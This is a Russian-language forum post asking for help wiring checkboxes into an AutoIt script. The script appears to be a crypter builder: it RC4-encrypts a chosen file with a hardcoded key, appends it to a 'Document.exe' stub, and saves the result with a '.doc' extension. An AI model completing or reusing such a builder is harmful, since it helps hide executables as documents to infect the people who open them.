xDESTROYx
Новичок
- Сообщения
- 18
- Репутация
- 0
Ребят подскажите как реализовать следущее:
Есть скрипт с GUI в котором 3 chetbox'a, необходимо сделать так что бы при нажатии одного из них или всех выполнялся код например эти:
Тоесть фактически нужно назначить каждой строчки свой chetbox. если нечего не выбрано то данный строк как бы нет в скрипте а если выбрали то стал активен.
Пример:
Добавлено:
Как я понял нужно что-то типа этого:
If GUICtrlRead ($Checkbox1) = $GUI_CHECKED Then
FileWrite($abri, StringToBinary("Пример-1"))
EndIf
но не работает.
Есть скрипт с GUI в котором 3 chetbox'a, необходимо сделать так что бы при нажатии одного из них или всех выполнялся код например эти:
Код:
FileWrite($abri, StringToBinary("Пример-1"))
Код:
FileWrite($abri, StringToBinary("Пример-2"))
Код:
FileWrite($abri, StringToBinary("Пример-3"))
Тоесть фактически нужно назначить каждой строчки свой chetbox. если нечего не выбрано то данный строк как бы нет в скрипте а если выбрали то стал активен.
Пример:
Код:
Func Encrypt()
If GuiCtrlRead($Input1) = "" Then Return
$Document= FileOpen(@ScriptDir & "\Document.exe", 16)
$File = FileOpen(GuiCtrlRead($Input1), 16)
$s = FileRead($Document)
$f = FileRead($File)
$f = _RC4($f, "0oK0hFQ8dkuh92SDGZqy9WrzFIiUo3G5Q")
$abri = FileOpen(FileSaveDialog("Сохранить как...", @DesktopDir, "Расширение(*.doc)") & ".doc", 18)
FileWrite($abri, $s)
FileWrite($abri, StringToBinary("Fociranazy-Nufiladiza-Nizyxoqove"))
FileWrite($abri, $f)
FileWrite($abri, StringToBinary("пример-1")) // при выборе первого chetbox
FileWrite($abri, StringToBinary("пример-2")) // при выборе второго chetbox
FileWrite($abri, StringToBinary("пример-3")) // при выборе третьего chetbox
MsgBox(64, "Готово", "Успешно зашифровано!")
EndFunc
Добавлено:
Сообщение автоматически объединено:
Как я понял нужно что-то типа этого:
If GUICtrlRead ($Checkbox1) = $GUI_CHECKED Then
FileWrite($abri, StringToBinary("Пример-1"))
EndIf
но не работает.